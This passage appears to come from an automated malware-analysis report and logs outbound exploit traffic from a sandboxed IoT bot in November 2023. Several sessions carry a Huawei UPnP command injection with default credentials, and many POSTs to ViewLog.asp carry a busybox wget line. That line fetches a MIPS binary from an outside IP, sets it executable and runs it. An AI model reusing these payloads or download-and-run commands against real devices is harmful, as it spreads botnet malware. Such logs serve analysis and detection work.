75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:04.887970924 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                788192.168.2.155526094.242.228.1048080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.574661016 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                789192.168.2.154062085.69.34.2198080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.602680922 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.720165968 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.864007950 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:15.895710945 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                790192.168.2.153596294.122.214.2548080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.625591040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                791192.168.2.155683894.121.187.678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.629933119 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                792192.168.2.154587831.136.87.2258080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.630903959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.192238092 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.312199116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.744256973 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.352001905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:12.311755896 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                793192.168.2.153578685.25.106.148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.631824017 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                794192.168.2.154814262.29.40.1898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.633434057 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                795192.168.2.153344094.122.68.1358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.633465052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                796192.168.2.155136831.44.130.2038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.640094995 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                797192.168.2.154513431.41.164.378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.690777063 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.906749964 CET403INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 130
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                798192.168.2.153812095.214.178.918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:54.702960014 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.252202034 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:58.072273016 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.816072941 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
